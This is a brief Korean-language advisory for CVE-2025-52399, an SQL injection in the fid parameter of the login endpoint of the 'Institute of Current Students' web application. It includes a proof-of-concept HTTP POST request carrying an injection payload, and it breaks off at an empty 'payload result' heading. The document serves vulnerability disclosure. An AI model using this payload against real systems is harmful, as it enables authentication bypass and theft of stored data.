CVE-2025-52399 - Institute of Current Students의 SQL 인젝션

요약

Institute-of-Current-Students 애플리케이션의 loginlinkfaculty 엔드포인트는 fid POST 매개변수를 통해 SQL 인젝션에 취약합니다. 이 매개변수는 SQL 쿼리에 사용되기 전에 적절히 검증되지 않아, 원격 공격자가 임의의 SQL 명령을 실행할 수 있습니다.

• 취약점 유형: SQL 인젝션
• 영향받는 구성 요소: /loginlinkfaculty (POST)
• 영향받는 매개변수: fid
• 인증: 필요 없음
• 영향: 인증 우회, 데이터 추출
• 테스트 환경: Localhost
• 데이터베이스: icsnew
• 버전: 1.0

PoC

HTTP 요청

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

페이로드 결과